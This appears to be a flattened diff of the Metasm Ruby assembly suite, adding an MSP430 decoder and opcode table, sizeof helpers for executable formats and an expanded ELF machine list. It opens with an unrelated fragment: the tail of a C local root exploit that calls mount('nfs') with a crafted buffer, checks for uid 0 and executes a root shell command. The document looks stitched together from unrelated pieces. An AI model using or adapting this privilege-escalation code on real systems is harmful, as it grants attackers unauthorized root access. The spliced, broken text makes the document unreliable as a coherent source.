||||
|
||||
/** create a unique tmp name **/
|
||||
if ((path = tmpnam(NULL)) == NULL) {
|
||||
// path can be any directory which we have read/write/exec access
|
||||
// but I'd much rather create one instead of searching for one
|
||||
perror("[-] tmpnam");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/** make the path in tmp so that we can use it **/
|
||||
if (mkdir(path, 0660) < 0) {
|
||||
perror("[-] mkdir");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/** inform the user that the path was created **/
|
||||
printf("[*] created sploit path%s\n", path);
|
||||
|
||||
/** call the vulnerable function **/
|
||||
if (mount("nfs", path, 0, &xdrbuf) < 0) {
|
||||
if (errno == EACCES) {
|
||||
puts("[+] escalating privileges...");
|
||||
} else {
|
||||
perror("[-] mount");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/** clean up tmp dir **/
|
||||
if (rmdir(path) < 0) {
|
||||
perror("[-] rmdir");
|
||||
}
|
||||
|
||||
/** check if privs are equal to root **/
|
||||
if (getuid() != 0) {
|
||||
puts("[-] priviledge escalation failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/** get root shell **/
|
||||
printf("[+] We are now uid=%i ... your welcome!\n", getuid());
|
||||
printf("[+] Dropping a shell.\n");
|
||||
|
||||
/** execute **/
|
||||
execl("/bin/sh", "/bin/sh", "-c", argv[1], NULL);
|
||||
return 0;
|
||||
}
|
|
@ -36,6 +36,7 @@ module Metasm
|
|||
'Ia32' => 'cpu/ia32', 'MIPS' => 'cpu/mips', 'PowerPC' => 'cpu/ppc', 'ARM' => 'cpu/arm',
|
||||
'X86_64' => 'cpu/x86_64', 'Sh4' => 'cpu/sh4', 'Dalvik' => 'cpu/dalvik', 'ARC' => 'cpu/arc',
|
||||
'Python' => 'cpu/python', 'Z80' => 'cpu/z80', 'CY16' => 'cpu/cy16', 'BPF' => 'cpu/bpf',
|
||||
'MSP430' => 'cpu/msp430',
|
||||
'C' => 'compile_c',
|
||||
'MZ' => 'exe_format/mz', 'PE' => 'exe_format/pe',
|
||||
'ELF' => 'exe_format/elf', 'COFF' => 'exe_format/coff',
|
||||
|
|
|
@ -104,7 +104,7 @@ class ModRM
|
|||
i = o
|
||||
s = 1
|
||||
when Expression
|
||||
if o.op == :* and (o.rexpr.kind_of? Reg or o.lexpr.kind_of? Reg)
|
||||
if o.op == :* and (o.rexpr.kind_of?(Reg) or o.lexpr.kind_of?(Reg))
|
||||
# scaled index
|
||||
raise otok, 'mrm: too many indexes' if i
|
||||
s = o.lexpr
|
||||
|
@ -129,7 +129,9 @@ class ModRM
|
|||
walker[regify[content.reduce]]
|
||||
|
||||
# ensure found immediate is really an immediate
|
||||
raise otok, 'mrm: reg in imm' if imm.kind_of? Expression and not imm.externals.grep(Reg).empty?
|
||||
raise otok, 'mrm: reg in imm' if imm.kind_of?(Expression) and not imm.externals.grep(Reg).empty?
|
||||
|
||||
raise otok, 'mrm: bad reg size' if b.kind_of?(Reg) and i.kind_of?(Reg) and b.sz != i.sz
|
||||
|
||||
# find default address size
|
||||
adsz = b ? b.sz : i ? i.sz : nil
|
||||
|
|
|
@ -0,0 +1,8 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
require 'metasm/main'
|
||||
require 'metasm/cpu/msp430/decode'
|
|
@ -0,0 +1,247 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2010 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
require 'metasm/cpu/msp430/opcodes'
|
||||
require 'metasm/decode'
|
||||
|
||||
module Metasm
|
||||
class MSP430
|
||||
def build_opcode_bin_mask(op)
|
||||
op.bin_mask = 0
|
||||
op.fields.each_key { |f|
|
||||
op.bin_mask |= @fields_mask[f] << @fields_shift[f]
|
||||
}
|
||||
op.bin_mask ^= 0xffff
|
||||
end
|
||||
|
||||
def build_bin_lookaside
|
||||
lookaside = Array.new(256) { [] }
|
||||
opcode_list.each { |op|
|
||||
build_opcode_bin_mask op
|
||||
b = (op.bin >> 8) & 255
|
||||
msk = (op.bin_mask >> 8) & 255
|
||||
|
||||
for i in b..(b | (255^msk))
|
||||
lookaside[i] << op if i & msk == b & msk
|
||||
end
|
||||
}
|
||||
lookaside
|
||||
end
|
||||
|
||||
def decode_findopcode(edata)
|
||||
di = DecodedInstruction.new(self)
|
||||
val = edata.decode_imm(:u16, @endianness)
|
||||
edata.ptr -= 2
|
||||
di.opcode = @bin_lookaside[(val >> 8) & 0xff].find { |opcode| (val & opcode.bin_mask) == opcode.bin }
|
||||
di if di.opcode
|
||||
end
|
||||
|
||||
def decode_instr_op(edata, di)
|
||||
before_ptr = edata.ptr
|
||||
op = di.opcode
|
||||
di.instruction.opname = op.name
|
||||
val = edata.decode_imm(:u16, @endianness)
|
||||
|
||||
field_val = lambda{ |f|
|
||||
(val >> @fields_shift[f]) & @fields_mask[f]
|
||||
}
|
||||
|
||||
# must decode rs first
|
||||
vals = {}
|
||||
([:rs, :rd, :r_pc] & op.args).each { |a|
|
||||
mod = { :rs => :as, :rd => :ad, :r_pc => :ad }[a]
|
||||
mod = :as if mod == :ad and not op.fields[mod] # addop_macro1 -> rs + ad
|
||||
|
||||
if a == :r_pc
|
||||
r = Reg.new(0)
|
||||
else
|
||||
r = Reg.new(field_val[a])
|
||||
end
|
||||
|
||||
w = op.props[:byte] ? 1 : 2
|
||||
|
||||
case field_val[mod]
|
||||
when 0
|
||||
if r.i == 3 and a == :rs
|
||||
vals[a] = Expression[0]
|
||||
else
|
||||
vals[a] = r
|
||||
end
|
||||
when 1
|
||||
if r.i == 3 and a == :rs
|
||||
vals[a] = Expression[1]
|
||||
else
|
||||
imm = edata.decode_imm(:u16, @endianness)
|
||||
r = nil if r.i == 2 # [imm]
|
||||
vals[a] = Memref.new(r, imm, w)
|
||||
end
|
||||
when 2
|
||||
if r.i == 3
|
||||
vals[a] = Expression[2]
|
||||
elsif r.i == 2
|
||||
vals[a] = Expression[4]
|
||||
else
|
||||
vals[a] = Memref.new(r, 0, w)
|
||||
end
|
||||
when 3
|
||||
if r.i == 3
|
||||
vals[a] = Expression[-1]
|
||||
elsif r.i == 2
|
||||
vals[a] = Expression[8]
|
||||
elsif r.i == 0 # pc++
|
||||
# XXX order wrt other edata.decode_imm ?
|
||||
vals[a] = Expression[edata.decode_imm(:u16, @endianness)]
|
||||
else
|
||||
vals[a] = Memref.new(r, 0, w, true)
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
op.args.each { |a|
|
||||
di.instruction.args << case a
|
||||
when :joff; Expression[2 * Expression.make_signed(field_val[a], 10)]
|
||||
when :rs, :rd, :r_pc; vals[a]
|
||||
else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
|
||||
end
|
||||
}
|
||||
|
||||
di.bin_length += edata.ptr - before_ptr
|
||||
|
||||
return if edata.ptr > edata.length
|
||||
|
||||
di
|
||||
end
|
||||
|
||||
def decode_instr_interpret(di, addr)
|
||||
if di.opcode.props[:setip] and di.opcode.name =~ /^j/
|
||||
delta = di.instruction.args.last.reduce
|
||||
arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce
|
||||
di.instruction.args[-1] = Expression[arg]
|
||||
end
|
||||
|
||||
di
|
||||
end
|
||||
|
||||
def backtrace_binding
|
||||
@backtrace_binding ||= init_backtrace_binding
|
||||
end
|
||||
|
||||
def init_backtrace_binding
|
||||
@backtrace_binding ||= {}
|
||||
|
||||
opcode_list.map { |ol| ol.name }.uniq.each { |op|
|
||||
@backtrace_binding[op] ||= case op
|
||||
when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] }}
|
||||
when 'cmp', 'test'; lambda { |di, *a| {} } # TODO
|
||||
when 'add', 'adc' ; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } }
|
||||
when 'sub', 'sbc'; lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } }
|
||||
when 'and'; lambda { |di, a0, a1| { a0 => Expression[a0, :&, a1] } }
|
||||
when 'or'; lambda { |di, a0, a1| { a0 => Expression[a0, :|, a1] } }
|
||||
when 'xor'; lambda { |di, a0, a1| { a0 => Expression[a0, :^, a1] } }
|
||||
when 'push'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[a0],
|
||||
:sp => Expression[:sp, :-, 2] } }
|
||||
when 'call'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[di.next_addr],
|
||||
:sp => Expression[:sp, :-, 2] } }
|
||||
when 'pop'; lambda { |di, a0| { a0 => Expression[Indirection[:sp, 2]],
|
||||
:sp => Expression[:sp, :+, 2] } }
|
||||
when 'ret'; lambda { |di| { :sp => Expression[:sp, :+, 2] } }
|
||||
when 'reti'; lambda { |di| { :sp => Expression[:sp, :+, 4] } }
|
||||
when /^j/; lambda { |di, a0| {} }
|
||||
end
|
||||
}
|
||||
|
||||
@backtrace_binding
|
||||
end
|
||||
|
||||
def get_backtrace_binding(di)
|
||||
a = di.instruction.args.map { |arg|
|
||||
case arg
|
||||
when Reg; arg.symbolic
|
||||
when Memref; arg.symbolic(di.address)
|
||||
else arg
|
||||
end
|
||||
}
|
||||
|
||||
if binding = backtrace_binding[di.opcode.basename]
|
||||
bd = binding[di, *a] || {}
|
||||
di.instruction.args.grep(Memref).each { |m|
|
||||
next unless r = m.base and m.postincr
|
||||
r = m.base.symbolic
|
||||
bd[r] ||= Expression[r, :+, m.size]
|
||||
}
|
||||
bd
|
||||
else
|
||||
puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
|
||||
{ :incomplete_binding => Expression[1] }
|
||||
end
|
||||
end
|
||||
|
||||
def get_xrefs_x(dasm, di)
|
||||
return [] if not di.opcode.props[:setip]
|
||||
|
||||
case di.instruction.opname
|
||||
when 'ret'
|
||||
return [Indirection[:sp, 2, di.address]]
|
||||
when 'reti'
|
||||
return [Indirection[[:sp, :+, 2], 2, di.address]]
|
||||
end
|
||||
|
||||
# XXX add pc, 42 ?
|
||||
val = di.instruction.args[0]
|
||||
case val
|
||||
when Reg; val = val.symbolic
|
||||
when Memref; val = val.symbolic(di.address)
|
||||
end
|
||||
|
||||
[Expression[val]]
|
||||
end
|
||||
|
||||
def backtrace_is_function_return(expr, di=nil)
|
||||
expr = Expression[expr].reduce_rec
|
||||
expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp]
|
||||
end
|
||||
|
||||
# updates the function backtrace_binding
|
||||
# if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand)
|
||||
def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs)
|
||||
b = f.backtrace_binding
|
||||
|
||||
bt_val = lambda { |r|
|
||||
next if not retaddrlist
|
||||
b[r] = Expression::Unknown
|
||||
bt = []
|
||||
retaddrlist.each { |retaddr|
|
||||
bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true,
|
||||
:snapshot_addr => faddr, :origin => retaddr)
|
||||
}
|
||||
if bt.length != 1
|
||||
b[r] = Expression::Unknown
|
||||
else
|
||||
b[r] = bt.first
|
||||
end
|
||||
}
|
||||
|
||||
if not wantregs.empty?
|
||||
wantregs.each(&bt_val)
|
||||
else
|
||||
bt_val[:sp]
|
||||
end
|
||||
|
||||
b
|
||||
end
|
||||
|
||||
def replace_instr_arg_immediate(i, old, new)
|
||||
i.args.map! { |a|
|
||||
case a
|
||||
when Expression; a == old ? new : Expression[a.bind(old => new).reduce]
|
||||
when Memref
|
||||
a.base = (a.base == old ? new : Expression[a.base.bind(old => new).reduce]) if a.base.kind_of?(Expression)
|
||||
a
|
||||
else a
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,62 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2010 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
require 'metasm/main'
|
||||
|
||||
module Metasm
|
||||
|
||||
class MSP430 < CPU
|
||||
def initialize(e = :little)
|
||||
super()
|
||||
@endianness = e
|
||||
@size = 16
|
||||
end
|
||||
|
||||
class Reg
|
||||
include Renderable
|
||||
Sym = (4..15).inject(0 => :pc, 1 => :sp, 2 => :flags, 3 => :rzero) { |h, i| h.update i => "r#{i}".to_sym }
|
||||
|
||||
attr_accessor :i
|
||||
def initialize(i) ; @i = i end
|
||||
def symbolic ; Sym[@i] end
|
||||
def render ; [Sym[@i].to_s] end
|
||||
def ==(o) ; o.class == self.class and o.i == @i end
|
||||
end
|
||||
|
||||
class Memref
|
||||
attr_accessor :base, :offset, :size, :postincr
|
||||
|
||||
def initialize(base, offset = 0, size = nil, postincr = false)
|
||||
@base = base
|
||||
@offset = Expression[offset]
|
||||
@size = size
|
||||
@postincr = postincr
|
||||
end
|
||||
|
||||
def symbolic(orig=nil)
|
||||
r = @base.symbolic if @base
|
||||
e = Expression[r, :+, @offset].reduce
|
||||
Indirection[e, (@size || 1), orig]
|
||||
end
|
||||
|
||||
include Renderable
|
||||
|
||||
def render
|
||||
b = @base
|
||||
b = @base.to_s + '++' if @base and @postincr
|
||||
p = Expression[b, :+, @offset].reduce
|
||||
Indirection[p, @size].render
|
||||
end
|
||||
end
|
||||
|
||||
def init_opcode_list
|
||||
init
|
||||
end
|
||||
|
||||
def dbg_register_list
|
||||
@dbg_register_list ||= Reg::Sym.sort.transpose.last
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,101 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2010 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
require 'metasm/cpu/msp430/main'
|
||||
|
||||
module Metasm
|
||||
class MSP430
|
||||
def addop(name, bin, *args)
|
||||
o = Opcode.new name, bin
|
||||
|
||||
args.each { |a|
|
||||
o.args << a if @valid_args[a]
|
||||
o.props[a] = true if @valid_props[a]
|
||||
o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a]
|
||||
}
|
||||
|
||||
@opcode_list << o
|
||||
end
|
||||
|
||||
def init
|
||||
@opcode_list = []
|
||||
|
||||
@fields_mask = {
|
||||
:as => 3, # adressing mode
|
||||
:ad => 1, # adressing mode
|
||||
:rd => 0xf,
|
||||
:rs => 0xf,
|
||||
:joff => 0x3ff, # signed offset for jumps
|
||||
}
|
||||
@fields_shift = {
|
||||
:as => 4,
|
||||
:ad => 7,
|
||||
:rd => 0,
|
||||
:rs => 8,
|
||||
:joff => 0,
|
||||
}
|
||||
@valid_args = { :r_pc => true, :rd => true, :rs => true, :joff => true }
|
||||
@valid_props = { :setip => true, :stopexec => true, :saveip => true, :byte => true }
|
||||
|
||||
# https://en.wikipedia.org/wiki/TI_MSP430
|
||||
|
||||
addop_macro1 'rrc', 0, :byte
|
||||
addop_macro1 'swpb', 1
|
||||
addop_macro1 'rra', 2, :byte
|
||||
addop_macro1 'sxt', 3
|
||||
addop_macro1 'push', 4, :byte
|
||||
addop_macro1 'call', 5, :setip, :stopexec, :saveip
|
||||
|
||||
addop 'reti', 0b000100_110_0000000
|
||||
|
||||
addop_macro2 'jnz', 0
|
||||
addop_macro2 'jz', 1
|
||||
addop_macro2 'jnc', 2
|
||||
addop_macro2 'jc', 3
|
||||
addop_macro2 'jb', 4 # 'jn' jump if negative => jl unsigned ?
|
||||
addop_macro2 'jge', 5
|
||||
addop_macro2 'jl', 6
|
||||
addop_macro2 'jmp', 7, :stopexec
|
||||
|
||||
addop 'ret', 0x4130, :setip, :stopexec # mov pc, [sp++]
|
||||
addop 'pop', 0x4130, :rd, :ad # mov rd, [sp++]
|
||||
|
||||
addop_macro3 'mov', 4
|
||||
addop_macro3 'add', 5
|
||||
addop_macro3 'adc', 6 # 'addc'
|
||||
addop_macro3 'sbc', 7
|
||||
addop_macro3 'sub', 8
|
||||
addop_macro3 'cmp', 9
|
||||
addop_macro3 'dadd',10 # decimal add with carry
|
||||
addop_macro3 'test',11 # 'bit'
|
||||
addop_macro3 'andn',12 # 'bic'
|
||||
addop_macro3 'or', 13 # 'bis'
|
||||
addop_macro3 'xor', 14
|
||||
addop_macro3 'and', 15
|
||||
end
|
||||
|
||||
def addop_macro1(name, bin, *props)
|
||||
if props.delete :byte
|
||||
addop_byte name, (0b000100 << 10) | (bin << 7), :as, :rd, *props
|
||||
else
|
||||
addop name, (0b000100 << 10) | (bin << 7), :as, :rd, *props
|
||||
end
|
||||
end
|
||||
|
||||
def addop_macro2(name, bin, *props)
|
||||
addop name, (0b001 << 13) | (bin << 10), :joff, :setip, *props
|
||||
end
|
||||
|
||||
def addop_macro3(name, bin, *props)
|
||||
addop_byte name, (bin << 12), :r_pc, :ad, :as, :rs, :setip, :stopexec # dst == pc
|
||||
addop_byte name, (bin << 12), :rd, :ad, :as, :rs
|
||||
end
|
||||
|
||||
def addop_byte(name, bin, *props)
|
||||
addop name, bin, *props
|
||||
addop name + '.b', bin | (1 << 6), :byte, *props
|
||||
end
|
||||
end
|
||||
end
|
|
@ -39,6 +39,8 @@ class Sh4
|
|||
end
|
||||
|
||||
def decode_findopcode(edata)
|
||||
return if edata.ptr >= edata.length
|
||||
|
||||
di = DecodedInstruction.new(self)
|
||||
val = edata.decode_imm(:u16, @endianness)
|
||||
edata.ptr -= 2
|
||||
|
|
|
@ -594,6 +594,7 @@ class CCompiler < C::Compiler
|
|||
l = c_cexpr_inner(expr.lexpr)
|
||||
l = make_volatile(l, expr.type)
|
||||
r = c_cexpr_inner(expr.rexpr)
|
||||
r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz
|
||||
unuse r
|
||||
if expr.lexpr.type.integral? or expr.lexpr.type.pointer?
|
||||
instr 'cmp', l, i_to_i32(r)
|
||||
|
@ -790,6 +791,7 @@ class CCompiler < C::Compiler
|
|||
end
|
||||
instr 'mov', l, ll
|
||||
else
|
||||
r = make_volatile(r, type) if r.kind_of?(ModRM) and r.sz != l.sz
|
||||
instr 'imul', l, r
|
||||
end
|
||||
unuse r
|
||||
|
@ -876,6 +878,8 @@ class CCompiler < C::Compiler
|
|||
l = c_cexpr_inner(expr.lexpr)
|
||||
r = c_cexpr_inner(expr.rexpr)
|
||||
r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM
|
||||
r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz
|
||||
l = make_volatile(l, expr.type) if l.kind_of?(ModRM)
|
||||
if l.kind_of? Expression
|
||||
o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o
|
||||
l, r = r, l
|
||||
|
|
|
@ -93,6 +93,9 @@ class AOut < ExeFormat
|
|||
def encode_byte(w) Expression[w].encode(:u8 , @endianness) end
|
||||
def encode_half(w) Expression[w].encode(:u16, @endianness) end
|
||||
def encode_word(w) Expression[w].encode(:u32, @endianness) end
|
||||
def sizeof_byte ; 1 ; end
|
||||
def sizeof_half ; 2 ; end
|
||||
def sizeof_word ; 4 ; end
|
||||
|
||||
def initialize(cpu = nil)
|
||||
@endianness = cpu ? cpu.endianness : :little
|
||||
|
|
|
@ -57,6 +57,7 @@ class Bflt < ExeFormat
|
|||
|
||||
def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end
|
||||
def encode_word(w) Expression[w].encode(:u32, @endianness) end
|
||||
def sizeof_word ; 4 ; end
|
||||
|
||||
attr_accessor :endianness
|
||||
def initialize(cpu = nil)
|
||||
|
|
|
@ -140,7 +140,7 @@ class COFF < ExeFormat
|
|||
bytes :link_ver_maj, :link_ver_min
|
||||
words :code_size, :data_size, :udata_size, :entrypoint, :base_of_code
|
||||
# base_of_data does not exist in 64-bit
|
||||
new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, 0)
|
||||
new_field(:base_of_data, lambda { |exe, hdr| exe.decode_word if exe.bitsize != 64 }, lambda { |exe, hdr, val| exe.encode_word(val) if exe.bitsize != 64 }, lambda { |exe, hdr| exe.bitsize != 64 ? 4 : 0 }, 0)
|
||||
# NT-specific fields
|
||||
xword :image_base
|
||||
words :sect_align, :file_align
|
||||
|
@ -413,6 +413,11 @@ class COFF < ExeFormat
|
|||
end
|
||||
|
||||
def shortname; 'coff'; end
|
||||
|
||||
def sizeof_byte ; 1 ; end
|
||||
def sizeof_half ; 2 ; end
|
||||
def sizeof_word ; 4 ; end
|
||||
def sizeof_xword ; @bitsize == 32 ? 4 : 8 ; end
|
||||
end
|
||||
|
||||
# the COFF archive file format
|
||||
|
@ -448,6 +453,9 @@ class COFFArchive < ExeFormat
|
|||
def member(name)
|
||||
@members.find { |m| m.name == name }
|
||||
end
|
||||
|
||||
def sizeof_half ; 2 ; end
|
||||
def sizeof_word ; 4 ; end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -847,6 +847,7 @@ class COFFArchive
|
|||
ar.encoded.ptr += 1 if @size & 1 == 1
|
||||
end
|
||||
|
||||
# TODO XXX are those actually used ?
|
||||
def decode_half ; @encoded.decode_imm(:u16, :big) end
|
||||
def decode_word ; @encoded.decode_imm(:u32, :big) end
|
||||
|
||||
|
|
|
@ -43,6 +43,7 @@ class DEX < ExeFormat
|
|||
|
||||
|
||||
class SerialStruct < Metasm::SerialStruct
|
||||
# TODO move uleb/sleb to new_field for sizeof
|
||||
new_int_field :u2, :u4, :uleb, :sleb
|
||||
end
|
||||
|
||||
|
@ -328,6 +329,8 @@ class DEX < ExeFormat
|
|||
def encode_u4(val) Expression[val].encode(:u32, @endianness) end
|
||||
def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end
|
||||
def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end
|
||||
def sizeof_u2 ; 2 ; end
|
||||
def sizeof_u4 ; 4 ; end
|
||||
def decode_uleb(ed = @encoded, signed=false)
|
||||
v = s = 0
|
||||
while s < 5*7
|
||||
|
|
|
@ -26,6 +26,7 @@ class Dol < ExeFormat
|
|||
|
||||
def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end
|
||||
def encode_word(w) Expression[w].encode(:u32, @endianness) end
|
||||
def sizeof_word ; 4 ; end
|
||||
|
||||
def initialize(cpu = nil)
|
||||
@endianness = :big
|
||||
|
|
|
@ -21,29 +21,52 @@ class ELF < ExeFormat
|
|||
TYPE_HIPROC = 0xffff
|
||||
|
||||
MACHINE = {
|
||||
0 => 'NONE', 1 => 'M32', 2 => 'SPARC', 3 => '386',
|
||||
4 => '68K', 5 => '88K', 6 => '486', 7 => '860',
|
||||
8 => 'MIPS', 9 => 'S370', 10 => 'MIPS_RS3_LE',
|
||||
15 => 'PARISC',
|
||||
17 => 'VPP500',18 => 'SPARC32PLUS', 19 => '960',
|
||||
20 => 'PPC', 21 => 'PPC64', 22 => 'S390',
|
||||
36 => 'V800', 37 => 'FR20', 38 => 'RH32', 39 => 'MCORE',
|
||||
40 => 'ARM', 41 => 'ALPHA_STD', 42 => 'SH', 43 => 'SPARCV9',
|
||||
44 => 'TRICORE', 45 => 'ARC', 46 => 'H8_300', 47 => 'H8_300H',
|
||||
48 => 'H8S', 49 => 'H8_500', 50 => 'IA_64', 51 => 'MIPS_X',
|
||||
0 => 'NONE', 1 => 'M32', 2 => 'SPARC', 3 => '386',
|
||||
4 => '68K', 5 => '88K', 6 => '486', 7 => '860',
|
||||
8 => 'MIPS', 9 => 'S370', 10 => 'MIPS_RS3_LE',
|
||||
15 => 'PARISC', 17 => 'VPP500', 18 => 'SPARC32PLUS', 19 => '960',
|
||||
20 => 'PPC', 21 => 'PPC64', 22 => 'S390', 23 => 'SPU',
|
||||
36 => 'V800', 37 => 'FR20', 38 => 'RH32', 39 => 'MCORE',
|
||||
40 => 'ARM', 41 => 'ALPHA', 42 => 'SH', 43 => 'SPARCV9',
|
||||
44 => 'TRICORE', 45 => 'ARC', 46 => 'H8_300', 47 => 'H8_300H',
|
||||
48 => 'H8S', 49 => 'H8_500', 50 => 'IA_64', 51 => 'MIPS_X',
|
||||
52 => 'COLDFIRE', 53 => '68HC12', 54 => 'MMA', 55 => 'PCP',
|
||||
56 => 'NCPU', 57 => 'NDR1', 58 => 'STARCORE', 59 => 'ME16',
|
||||
60 => 'ST100', 61 => 'TINYJ', 62 => 'X86_64', 63 => 'PDSP',
|
||||
66 => 'FX66', 67 => 'ST9PLUS',
|
||||
68 => 'ST7', 69 => '68HC16', 70 => '68HC11', 71 => '68HC08',
|
||||
72 => '68HC05',73 => 'SVX', 74 => 'ST19', 75 => 'VAX',
|
||||
76 => 'CRIS', 77 => 'JAVELIN',78 => 'FIREPATH', 79 => 'ZSP',
|
||||
80 => 'MMIX', 81 => 'HUANY', 82 => 'PRISM', 83 => 'AVR',
|
||||
84 => 'FR30', 85 => 'D10V', 86 => 'D30V', 87 => 'V850',
|
||||
88 => 'M32R', 89 => 'MN10300',90 => 'MN10200',91 => 'PJ',
|
||||
92 => 'OPENRISC', 93 => 'ARC_A5', 94 => 'XTENSA',
|
||||
99 => 'PJ',
|
||||
0x9026 => 'ALPHA'
|
||||
56 => 'NCPU', 57 => 'NDR1', 58 => 'STARCORE', 59 => 'ME16',
|
||||
60 => 'ST100', 61 => 'TINYJ', 62 => 'X86_64', 63 => 'PDSP',
|
||||
64 => 'PDP10', 65 => 'PDP11', 66 => 'FX66', 67 => 'ST9PLUS',
|
||||
68 => 'ST7', 69 => '68HC16', 70 => '68HC11', 71 => '68HC08',
|
||||
72 => '68HC05',73 => 'SVX', 74 => 'ST19', 75 => 'VAX',
|
||||
76 => 'CRIS', 77 => 'JAVELIN',78 => 'FIREPATH', 79 => 'ZSP',
|
||||
80 => 'MMIX', 81 => 'HUANY', 82 => 'PRISM', 83 => 'AVR',
|
||||
84 => 'FR30', 85 => 'D10V', 86 => 'D30V', 87 => 'V850',
|
||||
88 => 'M32R', 89 => 'MN10300',90 => 'MN10200',91 => 'PJ',
|
||||
92 => 'OPENRISC', 93 => 'ARC_A5', 94 => 'XTENSA', 95 => 'VIDEOCORE',
|
||||
96 => 'TMM_GPP', 97 => 'NS32K', 98 => 'TPC', 99 => 'SNP1K',
|
||||
100 => 'ST200', 101 => 'IP2K', 102 => 'MAX', 103 => 'CR',
|
||||
104 => 'F2MC16', 105 => 'MSP430', 106 => 'BLACKFIN', 107 => 'SE_C33',
|
||||
108 => 'SEP', 109 => 'ARCA', 110 => 'UNICORE', 111 => 'EXCESS',
|
||||
112 => 'DXP', 113 => 'ALTERA_NIOS2', 114 => 'CRX', 115 => 'XGATE',
|
||||
116 => 'C166', 117 => 'M16C', 118 => 'DSPIC30F', 119 => 'CE',
|
||||
120 => 'M32C',
|
||||
131 => 'TSK3000', 132 => 'RS08', 133 => 'SHARC',
|
||||
134 => 'ECOG2', 135 => 'SCORE7', 136 => 'DSP24', 137 => 'VIDEOCORE3',
|
||||
138 => 'LATTICEMICO32', 139 => 'SE_C17', 140 => 'TI_C6000', 141 => 'TI_C2000',
|
||||
142 => 'TI_C5500',
|
||||
160 => 'MMDSP_PLUS', 161 => 'CYPRESS_M8C', 162 => 'R32C', 163 => 'TRIMEDIA',
|
||||
164 => 'QDSP6', 165 => '8051', 166 => 'STXP7X', 167 => 'NDS32',
|
||||
168 => 'ECOG1', 169 => 'MAXQ30', 170 => 'XIMO16', 171 => 'MANIK',
|
||||
172 => 'CRAYNV2', 173 => 'RX', 174 => 'METAG', 175 => 'MCST_ELBRUS',
|
||||
176 => 'ECOG16', 177 => 'CR16', 178 => 'ETPU', 179 => 'SLE9X',
|
||||
180 => 'L10M', 181 => 'K10M', 182 => 'INTEL_RESV', 183 => 'AARCH64',
|
||||
184 => 'ARM_RESV', 185 => 'AVR32', 186 => 'STM8', 187 => 'TILE64',
|
||||
188 => 'TILEPRO', 189 => 'MICROBLAZE', 190 => 'CUDA', 191 => 'TILEGX',
|
||||
192 => 'CLOUDSHIELD', 193 => 'COREA_1ST', 194 => 'COREA_2ND', 195 => 'ARC_COMPACT2',
|
||||
196 => 'OPEN8', 197 => 'RL78', 198 => 'VIDEOCORE5', 199 => '78KOR',
|
||||
200 => '56800EX', 201 => 'BA1', 202 => 'BA2', 203 => 'XCORE',
|
||||
204 => 'MCHP_PIC', 205 => 'INTEL205', 206 => 'INTEL206', 207 => 'INTEL207',
|
||||
208 => 'INTEL208', 209 => 'INTEL209', 210 => 'KM32', 211 => 'KMX32',
|
||||
212 => 'KMX16', 213 => 'KMX8', 214 => 'KVARC', 215 => 'CDP',
|
||||
216 => 'COGE', 217 => 'COOL', 218 => 'NORC',
|
||||
}
|
||||
|
||||
FLAGS = {
|
||||
|
@ -394,11 +417,6 @@ class ELF < ExeFormat
|
|||
word :flags
|
||||
fld_bits(:flags) { |elf, hdr| FLAGS[hdr.machine] || {} }
|
||||
halfs :ehsize, :phentsize, :phnum, :shentsize, :shnum, :shstrndx
|
||||
|
||||
def self.size elf
|
||||
x = elf.bitsize >> 3
|
||||
40 + 3*x
|
||||
end
|
||||
end
|
||||
|
||||
class Segment < SerialStruct
|
||||
|
@ -412,11 +430,6 @@ class ELF < ExeFormat
|
|||
else Segment64
|
||||
end
|
||||
end
|
||||
|
||||
def self.size elf
|
||||
x = elf.bitsize >> 3
|
||||
8 + 6*x
|
||||
end
|
||||
end
|
||||
|
||||
class Segment32 < Segment
|
||||
|
@ -453,11 +466,6 @@ class ELF < ExeFormat
|
